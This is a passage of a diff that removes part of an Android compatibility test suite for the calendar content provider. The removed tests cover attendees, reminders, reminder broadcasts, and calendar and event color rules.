-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
-        long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId3 >= 0);
-
-        /*
-         * Add some attendees, reminders, and extended properties.
-         */
-        Uri uri, syncUri;
-
-        syncUri = asSyncAdapter(Reminders.CONTENT_URI, account, CTS_TEST_TYPE);
-        ContentValues remValues = new ContentValues();
-        remValues.put(Reminders.EVENT_ID, eventId1);
-        remValues.put(Reminders.MINUTES, 10);
-        remValues.put(Reminders.METHOD, Reminders.METHOD_ALERT);
-        mContentResolver.insert(syncUri, remValues);
-        remValues.put(Reminders.MINUTES, 20);
-        mContentResolver.insert(syncUri, remValues);
-
-        syncUri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
-        ContentValues extended = new ContentValues();
-        extended.put(ExtendedProperties.NAME, "foo");
-        extended.put(ExtendedProperties.VALUE, "bar");
-        extended.put(ExtendedProperties.EVENT_ID, eventId2);
-        mContentResolver.insert(syncUri, extended);
-        extended.put(ExtendedProperties.EVENT_ID, eventId1);
-        mContentResolver.insert(syncUri, extended);
-        extended.put(ExtendedProperties.NAME, "foo2");
-        extended.put(ExtendedProperties.VALUE, "bar2");
-        mContentResolver.insert(syncUri, extended);
-
-        syncUri = asSyncAdapter(Attendees.CONTENT_URI, account, CTS_TEST_TYPE);
-        ContentValues attendee = new ContentValues();
-        attendee.put(Attendees.ATTENDEE_NAME, "Joe");
-        attendee.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
-        attendee.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
-        attendee.put(Attendees.ATTENDEE_TYPE, Attendees.TYPE_REQUIRED);
-        attendee.put(Attendees.ATTENDEE_RELATIONSHIP, Attendees.RELATIONSHIP_PERFORMER);
-        attendee.put(Attendees.EVENT_ID, eventId3);
-        mContentResolver.insert(syncUri, attendee);
-
-        /*
-         * Iterate over all events on our calendar.  Peek at a few values to see if they
-         * look reasonable.
-         */
-        EntityIterator ei = EventsEntity.newEntityIterator(
-                mContentResolver.query(EventsEntity.CONTENT_URI, null, Events.CALENDAR_ID + "=?",
-                        new String[] { String.valueOf(calendarId) }, null),
-                mContentResolver);
-        int count = 0;
-        try {
-            while (ei.hasNext()) {
-                Entity entity = ei.next();
-                ContentValues values = entity.getEntityValues();
-                ArrayList<Entity.NamedContentValues> subvalues = entity.getSubValues();
-                long eventId = values.getAsLong(Events._ID);
-                if (eventId == eventId1) {
-                    // 2 x reminder, 2 x extended properties
-                    assertEquals(4, subvalues.size());
-                } else if (eventId == eventId2) {
-                    // Extended properties
-                    assertEquals(1, subvalues.size());
-                    ContentValues subContentValues = subvalues.get(0).values;
-                    String name = subContentValues.getAsString(
-                            CalendarContract.ExtendedProperties.NAME);
-                    String value = subContentValues.getAsString(
-                            CalendarContract.ExtendedProperties.VALUE);
-                    assertEquals("foo", name);
-                    assertEquals("bar", value);
-                } else if (eventId == eventId3) {
-                    // Attendees
-                    assertEquals(1, subvalues.size());
-                } else {
-                    fail("should not be here");
-                }
-                count++;
-            }
-            assertEquals(3, count);
-        } finally {
-            ei.close();
-        }
-
-        // Confirm that querying for a single event yields a single event.
-        ei = EventsEntity.newEntityIterator(
-                mContentResolver.query(EventsEntity.CONTENT_URI, null, SQL_WHERE_ID,
-                        new String[] { String.valueOf(eventId3) }, null),
-                mContentResolver);
-        try {
-            count = 0;
-            while (ei.hasNext()) {
-                Entity entity = ei.next();
-                count++;
-            }
-            assertEquals(1, count);
-        } finally {
-            ei.close();
-        }
-
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Exercises the CalendarEntity class.
-     */
-    @MediumTest
-    public void testCalendarEntityQuery() {
-        String account1 = "ceq1_account";
-        String account2 = "ceq2_account";
-        String account3 = "ceq3_account";
-        int seed = 0;
-
-        // Clean up just in case.
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account3);
-
-        // Create calendars.
-        long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
-        long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
-        long calendarId3 = createAndVerifyCalendar(account3, seed++, null);
-
-        EntityIterator ei = CalendarEntity.newEntityIterator(
-                mContentResolver.query(CalendarEntity.CONTENT_URI, null,
-                        Calendars._ID + "=? OR " + Calendars._ID + "=? OR " + Calendars._ID + "=?",
-                        new String[] { String.valueOf(calendarId1), String.valueOf(calendarId2),
-                                String.valueOf(calendarId3) },
-                        null));
-
-        try {
-            int count = 0;
-            while (ei.hasNext()) {
-                Entity entity = ei.next();
-                count++;
-            }
-            assertEquals(3, count);
-        } finally {
-            ei.close();
-        }
-
-        removeAndVerifyCalendar(account1, calendarId1);
-        removeAndVerifyCalendar(account2, calendarId2);
-        removeAndVerifyCalendar(account3, calendarId3);
-    }
-
-    /**
-     * Tests creation and manipulation of Attendees.
-     */
-    @MediumTest
-    public void testAttendees() {
-        String account = "att_account";
-        int seed = 0;
-
-        // Clean up just in case.
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar.
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create two events, one with a value set for SELF_ATTENDEE_STATUS, one without.
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId1 >= 0);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
-        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId2 >= 0);
-
-        /*
-         * Add some attendees to the first event.
-         */
-        long attId1 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
-                "Alice",
-                "alice@example.com",
-                Attendees.ATTENDEE_STATUS_TENTATIVE,
-                Attendees.RELATIONSHIP_ATTENDEE,
-                Attendees.TYPE_REQUIRED);
-        long attId2 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
-                "Betty",
-                "betty@example.com",
-                Attendees.ATTENDEE_STATUS_DECLINED,
-                Attendees.RELATIONSHIP_ATTENDEE,
-                Attendees.TYPE_NONE);
-        long attId3 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
-                "Carol",
-                "carol@example.com",
-                Attendees.ATTENDEE_STATUS_DECLINED,
-                Attendees.RELATIONSHIP_ATTENDEE,
-                Attendees.TYPE_OPTIONAL);
-
-        /*
-         * Find the event1 "self" attendee entry.
-         */
-        Cursor cursor = AttendeeHelper.findAttendeesByEmail(mContentResolver, eventId1,
-                CalendarHelper.generateCalendarOwnerEmail(account));
-        try {
-            assertEquals(1, cursor.getCount());
-            //DatabaseUtils.dumpCursor(cursor);
-
-            cursor.moveToFirst();
-            long id = cursor.getLong(AttendeeHelper.ATTENDEES_ID_INDEX);
-
-            /*
-             * Update the status field.  The provider should automatically propagate the result.
-             */
-            ContentValues update = new ContentValues();
-            Uri uri = ContentUris.withAppendedId(Attendees.CONTENT_URI, id);
-
-            update.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_ACCEPTED);
-            int count = mContentResolver.update(uri, update, null, null);
-            assertEquals(1, count);
-
-            int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId1);
-            assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
-
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-
-        /*
-         * Do a bulk update of all Attendees for this event, changing any Attendee with status
-         * "declined" to "invited".
-         */
-        ContentValues bulkUpdate = new ContentValues();
-        bulkUpdate.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_INVITED);
-
-        int count = mContentResolver.update(Attendees.CONTENT_URI, bulkUpdate,
-                Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_STATUS + "=?",
-                new String[] {
-                    String.valueOf(eventId1), String.valueOf(Attendees.ATTENDEE_STATUS_DECLINED)
-                });
-        assertEquals(2, count);
-
-        /*
-         * Add a new, non-self attendee to the second event.
-         */
-        long attId4 = AttendeeHelper.addAttendee(mContentResolver, eventId2,
-                "Diana",
-                "diana@example.com",
-                Attendees.ATTENDEE_STATUS_ACCEPTED,
-                Attendees.RELATIONSHIP_ATTENDEE,
-                Attendees.TYPE_REQUIRED);
-
-        /*
-         * Confirm that the selfAttendeeStatus on the second event has the default value.
-         */
-        int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
-        assertEquals(Attendees.ATTENDEE_STATUS_NONE, status);
-
-        /*
-         * Create a new "self" attendee in the second event by updating the email address to
-         * match that of the calendar owner.
-         */
-        ContentValues newSelf = new ContentValues();
-        newSelf.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
-        count = mContentResolver.update(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
-                newSelf, null, null);
-        assertEquals(1, count);
-
-        /*
-         * Confirm that the event's selfAttendeeStatus has been updated.
-         */
-        status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
-        assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
-
-        /*
-         * TODO:  (these are unexpected usage patterns)
-         * - Update an Attendee's status and event_id to move it to a different event, and
-         *   confirm that the selfAttendeeStatus in the destination event is updated (rather
-         *   than that of the source event).
-         * - Create two Attendees with email addresses that match "self" but have different
-         *   values for "status".  Delete one and confirm that selfAttendeeStatus is changed
-         *   to that of the remaining Attendee.  (There is no defined behavior for
-         *   selfAttendeeStatus when there are multiple matching Attendees.)
-         */
-
-        /*
-         * Test deletion, singly by ID and in bulk.
-         */
-        count = mContentResolver.delete(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
-                null, null);
-        assertEquals(1, count);
-
-        count = mContentResolver.delete(Attendees.CONTENT_URI, Attendees.EVENT_ID + "=?",
-                new String[] { String.valueOf(eventId1) });
-        assertEquals(4, count);     // 3 we created + 1 auto-added by the provider
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests creation and manipulation of Reminders.
-     */
-    @MediumTest
-    public void testReminders() {
-        String account = "rem_account";
-        int seed = 0;
-
-        // Clean up just in case.
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar.
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create events.
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId1 >= 0);
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId2 >= 0);
-
-        // No reminders, hasAlarm should be zero.
-        int hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
-        assertEquals(0, hasAlarm);
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
-        assertEquals(0, hasAlarm);
-
-        /*
-         * Add some reminders.
-         */
-        long remId1 = ReminderHelper.addReminder(mContentResolver, eventId1,
-                10, Reminders.METHOD_DEFAULT);
-        long remId2 = ReminderHelper.addReminder(mContentResolver, eventId1,
-                15, Reminders.METHOD_ALERT);
-        long remId3 = ReminderHelper.addReminder(mContentResolver, eventId1,
-                20, Reminders.METHOD_SMS);  // SMS isn't allowed for this calendar
-
-        // Should have been set to 1 by provider.
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
-        assertEquals(1, hasAlarm);
-
-        // Add a reminder to event2.
-        ReminderHelper.addReminder(mContentResolver, eventId2,
-                20, Reminders.METHOD_DEFAULT);
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
-        assertEquals(1, hasAlarm);
-
-
-        /*
-         * Check the entries.
-         */
-        Cursor cursor = ReminderHelper.findRemindersByEventId(mContentResolver, eventId1);
-        try {
-            assertEquals(3, cursor.getCount());
-            //DatabaseUtils.dumpCursor(cursor);
-
-            while (cursor.moveToNext()) {
-                int minutes = cursor.getInt(ReminderHelper.REMINDERS_MINUTES_INDEX);
-                int method = cursor.getInt(ReminderHelper.REMINDERS_METHOD_INDEX);
-                switch (minutes) {
-                    case 10:
-                        assertEquals(Reminders.METHOD_DEFAULT, method);
-                        break;
-                    case 15:
-                        assertEquals(Reminders.METHOD_ALERT, method);
-                        break;
-                    case 20:
-                        assertEquals(Reminders.METHOD_SMS, method);
-                        break;
-                    default:
-                        fail("unexpected minutes " + minutes);
-                        break;
-                }
-            }
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-
-        /*
-         * Use the bulk update feature to change all METHOD_DEFAULT to METHOD_EMAIL.  To make
-         * this more interesting we first change remId3 to METHOD_DEFAULT.
-         */
-        int count;
-        ContentValues newValues = new ContentValues();
-        newValues.put(Reminders.METHOD, Reminders.METHOD_DEFAULT);
-        count = mContentResolver.update(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId3),
-                newValues, null, null);
-        assertEquals(1, count);
-
-        newValues.put(Reminders.METHOD, Reminders.METHOD_EMAIL);
-        count = mContentResolver.update(Reminders.CONTENT_URI, newValues,
-                Reminders.EVENT_ID + "=? AND " + Reminders.METHOD + "=?",
-                new String[] {
-                    String.valueOf(eventId1), String.valueOf(Reminders.METHOD_DEFAULT)
-                });
-        assertEquals(2, count);
-
-        // check it
-        int method = ReminderHelper.lookupMethod(mContentResolver, remId3);
-        assertEquals(Reminders.METHOD_EMAIL, method);
-
-        /*
-         * Delete some / all reminders and confirm that hasAlarm tracks it.
-         *
-         * You can also remove reminders from an event by updating the event_id column, but
-         * that's defined as producing undefined behavior, so we don't do it here.
-         */
-        count = mContentResolver.delete(Reminders.CONTENT_URI,
-                Reminders.EVENT_ID + "=? AND " + Reminders.MINUTES + ">=?",
-                new String[] { String.valueOf(eventId1), "15" });
-        assertEquals(2, count);
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
-        assertEquals(1, hasAlarm);
-
-        // Delete all reminders from both events.
-        count = mContentResolver.delete(Reminders.CONTENT_URI,
-                Reminders.EVENT_ID + "=? OR " + Reminders.EVENT_ID + "=?",
-                new String[] { String.valueOf(eventId1), String.valueOf(eventId2) });
-        assertEquals(2, count);
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
-        assertEquals(0, hasAlarm);
-        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
-        assertEquals(0, hasAlarm);
-
-        /*
-         * Add a couple of reminders and then delete one with the by-ID URI.
-         */
-        long remId4 = ReminderHelper.addReminder(mContentResolver, eventId1,
-                10, Reminders.METHOD_EMAIL);
-        long remId5 = ReminderHelper.addReminder(mContentResolver, eventId1,
-                15, Reminders.METHOD_EMAIL);
-        count = mContentResolver.delete(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId4),
-                null, null);
-        assertEquals(1, count);
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * A listener for the EVENT_REMINDER broadcast that is expected to be fired by the
-     * provider at the reminder time.
-     */
-    public class MockReminderReceiver extends BroadcastReceiver {
-        public boolean received = false;
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            final String action = intent.getAction();
-            if (action.equals(CalendarContract.ACTION_EVENT_REMINDER)) {
-                received = true;
-            }
-        }
-    }
-
-    /**
-     * Test that reminders result in the expected broadcast at reminder time.
-     */
-    public void testRemindersAlarm() throws Exception {
-        // Setup: register a mock listener for the broadcast we expect to fire at the
-        // reminder time.
-        final MockReminderReceiver reminderReceiver = new MockReminderReceiver();
-        IntentFilter filter = new IntentFilter(CalendarContract.ACTION_EVENT_REMINDER);
-        filter.addDataScheme("content");
-        getInstrumentation().getTargetContext().registerReceiver(reminderReceiver, filter);
-
-        // Clean up just in case.
-        String account = "rem_account";
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar.  Use '1' as seed as this sets the VISIBLE field to 1.
-        // The calendar must be visible for its notifications to occur.
-        long calendarId = createAndVerifyCalendar(account, 1, null);
-
-        // Create event for 15 min in the past, with a 10 min reminder, so that it will
-        // trigger immediately.
-        ContentValues eventValues;
-        int seed = 0;
-        long now = System.currentTimeMillis();
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.DTSTART, now - DateUtils.MINUTE_IN_MILLIS * 15);
-        eventValues.put(Events.DTEND, now + DateUtils.HOUR_IN_MILLIS);
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId >= 0);
-        ReminderHelper.addReminder(mContentResolver, eventId, 10, Reminders.METHOD_ALERT);
-
-        // Confirm that the EVENT_REMINDER broadcast was fired by the provider.
-        new PollingCheck(POLLING_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return reminderReceiver.received;
-            }
-        }.run();
-        assertTrue(reminderReceiver.received);
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    @MediumTest
-    public void testColorWriteRequirements() {
-        String account = "colw_account";
-        String account2 = "colw2_account";
-        int seed = 0;
-        Uri uri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
-        Uri uri2 = asSyncAdapter(Colors.CONTENT_URI, account2, CTS_TEST_TYPE);
-
-        // Clean up just in case
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-
-        ContentValues colorValues = new ContentValues();
-        // Account name/type must be in the query params, so may be left
-        // out here
-        colorValues.put(Colors.DATA, "0");
-        colorValues.put(Colors.COLOR_KEY, "1");
-        colorValues.put(Colors.COLOR_TYPE, 0);
-        colorValues.put(Colors.COLOR, 0xff000000);
-
-        // Verify only a sync adapter can write to Colors
-        try {
-            mContentResolver.insert(Colors.CONTENT_URI, colorValues);
-            fail("Should not allow non-sync adapter to insert colors");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Verify everything except DATA is required
-        ContentValues testVals = new ContentValues(colorValues);
-        for (String key : colorValues.keySet()) {
-
-            testVals.remove(key);
-            try {
-                Uri colUri = mContentResolver.insert(uri, testVals);
-                if (!TextUtils.equals(key, Colors.DATA)) {
-                    // The DATA field is allowed to be empty.
-                    fail("Should not allow color creation without " + key);
-                }
-                ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-            } catch (IllegalArgumentException e) {
-                if (TextUtils.equals(key, Colors.DATA)) {
-                    // The DATA field is allowed to be empty.
-                    fail("Should allow color creation without " + key);
-                }
-            }
-            testVals.put(key, colorValues.getAsString(key));
-        }
-
-        // Verify writing a color works
-        Uri col1 = mContentResolver.insert(uri, colorValues);
-
-        // Verify adding the same color fails
-        try {
-            mContentResolver.insert(uri, colorValues);
-            fail("Should not allow adding the same color twice");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Verify specifying a different account than the query params doesn't work
-        colorValues.put(Colors.ACCOUNT_NAME, account2);
-        try {
-            mContentResolver.insert(uri, colorValues);
-            fail("Should use the account from the query params, not the values.");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Verify adding a color to a different account works
-        Uri col2 = mContentResolver.insert(uri2, colorValues);
-
-        // And a different index on the same account
-        colorValues.put(Colors.COLOR_KEY, "2");
-        Uri col3 = mContentResolver.insert(uri2, colorValues);
-
-        // Verify that all three colors are in the table
-        Cursor c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-        assertEquals(1, c.getCount());
-        c.close();
-        c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-        assertEquals(2, c.getCount());
-        c.close();
-
-        // Verify deleting them works
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-
-        c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-        assertEquals(0, c.getCount());
-        c.close();
-        c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-
-    /**
-     * Tests Colors interaction with the Calendars table.
-     */
-    @MediumTest
-    public void testCalendarColors() {
-        String account = "cc_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-
-        // Test inserting a calendar with an invalid color index
-        ContentValues cv = CalendarHelper.getNewCalendarValues(account, seed++);
-        cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex");
-        Uri calSyncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
-        Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
-
-        try {
-            Uri uri = mContentResolver.insert(calSyncUri, cv);
-            fail("Should not allow insertion of invalid color index into Calendars");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Test updating a calendar with an invalid color index
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-        cv.clear();
-        cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex2");
-        Uri calendarUri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
-        try {
-            mContentResolver.update(calendarUri, cv, null, null);
-            fail("Should not allow update of invalid color index into Calendars");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
-
-        // Test that inserting a valid color index works
-        cv = CalendarHelper.getNewCalendarValues(account, seed++);
-        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
-
-        Uri uri = mContentResolver.insert(calSyncUri, cv);
-        long calendarId2 = ContentUris.parseId(uri);
-        assertTrue(calendarId2 >= 0);
-        // And updates the calendar's color to the one in the table
-        cv.put(Calendars.CALENDAR_COLOR, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
-        verifyCalendar(account, cv, calendarId2, 2);
-
-        // Test that updating a valid color index also updates the color in a
-        // calendar
-        cv.clear();
-        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
-        mContentResolver.update(calendarUri, cv, null, null);
-        Cursor c = mContentResolver.query(calendarUri,
-                new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
-                null, null, null);
-        try {
-            c.moveToFirst();
-            String index = c.getString(0);
-            int color = c.getInt(1);
-            assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
-            assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-
-        // And clearing it doesn't change the color
-        cv.put(Calendars.CALENDAR_COLOR_KEY, (String) null);
-        mContentResolver.update(calendarUri, cv, null, null);
-        c = mContentResolver.query(calendarUri,
-                new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
-                null, null, null);
-        try {
-            c.moveToFirst();
-            String index = c.getString(0);
-            int color = c.getInt(1);
-            assertEquals(index, null);
-            assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0], color);
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-
-        // Test that setting a calendar color to an event color fails
-        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0]);
-        try {
-            mContentResolver.update(calendarUri, cv, null, null);
-            fail("Should not allow a calendar to use an event color");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Test that you can't remove a color that is referenced by a calendar
-        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]);
-        mContentResolver.update(calendarUri, cv, null, null);
-
-        try {
-            mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
-                    new String[] {
-                            account, CTS_TEST_TYPE,
-                            ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]
-                    });
-            fail("Should not allow deleting referenced color");
-        } catch (UnsupportedOperationException e) {
-            // WAI
-        }
-
-        // Clean up
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-    }
-
-    /**
-     * Tests Colors interaction with the Events table.
-     */
-    @MediumTest
-    public void testEventColors() {
-        String account = "ec_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-
-        // Test inserting an event with an invalid color index
-        long cal_id = createAndVerifyCalendar(account, seed++, null);
-
-        Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
-
-        ContentValues ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
-        ev.put(Events.EVENT_COLOR_KEY, "badIndex");
-
-        try {
-            Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
-            fail("Should not allow insertion of invalid color index into Events");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Test updating an event with an invalid color index fails
-        long event_id = createAndVerifyEvent(account, seed++, cal_id, false, null);
-        ev.clear();
-        ev.put(Events.EVENT_COLOR_KEY, "badIndex2");
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, event_id);
-        try {
-            mContentResolver.update(eventUri, ev, null, null);
-            fail("Should not allow update of invalid color index into Events");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
-
-        // Test that inserting a valid color index works
-        ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
-        final String defaultColorIndex = ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0];
-        ev.put(Events.EVENT_COLOR_KEY, defaultColorIndex);
-
-        Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
-        long eventId2 = ContentUris.parseId(uri);
-        assertTrue(eventId2 >= 0);
-        // And updates the event's color to the one in the table
-        final int expectedColor = ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_0];
-        ev.put(Events.EVENT_COLOR, expectedColor);
-        verifyEvent(ev, eventId2);
-
-        // Test that event iterator has COLOR columns
-        final EntityIterator iterator = EventsEntity.newEntityIterator(mContentResolver.query(
-                ContentUris.withAppendedId(EventsEntity.CONTENT_URI, eventId2),
-                null, null, null, null), mContentResolver);
-        assertTrue("Empty Iterator", iterator.hasNext());
-        final Entity entity = iterator.next();
-        final ContentValues values = entity.getEntityValues();
-        assertTrue("Missing EVENT_COLOR", values.containsKey(EventsEntity.EVENT_COLOR));
-        assertEquals("Wrong EVENT_COLOR",
-                expectedColor,
-                (int) values.getAsInteger(EventsEntity.EVENT_COLOR));
-        assertTrue("Missing EVENT_COLOR_KEY", values.containsKey(EventsEntity.EVENT_COLOR_KEY));
-        assertEquals("Wrong EVENT_COLOR_KEY",
-                defaultColorIndex,
-                values.getAsString(EventsEntity.EVENT_COLOR_KEY));
-        iterator.close();
-
-        // Test that updating a valid color index also updates the color in an
-        // event
-        ev.clear();
-        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
-        mContentResolver.update(eventUri, ev, null, null);
-        Cursor c = mContentResolver.query(eventUri, new String[] {
-                Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
-        }, null, null, null);
-        try {
-            c.moveToFirst();
-            String index = c.getString(0);
-            int color = c.getInt(1);
-            assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
-            assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1]);
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-
-        // And clearing it doesn't change the color
-        ev.put(Events.EVENT_COLOR_KEY, (String) null);
-        mContentResolver.update(eventUri, ev, null, null);
-        c = mContentResolver.query(eventUri, new String[] {
-                Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
-        }, null, null, null);
-        try {
-            c.moveToFirst();
-            String index = c.getString(0);
-            int color = c.getInt(1);
-            assertEquals(index, null);
-            assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1], color);
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-
-        // Test that setting an event color to a calendar color fails
-        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_2]);
-        try {
-            mContentResolver.update(eventUri, ev, null, null);
-            fail("Should not allow an event to use a calendar color");
-        } catch (IllegalArgumentException e) {
-            // WAI
-        }
-
-        // Test that you can't remove a color that is referenced by an event
-        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
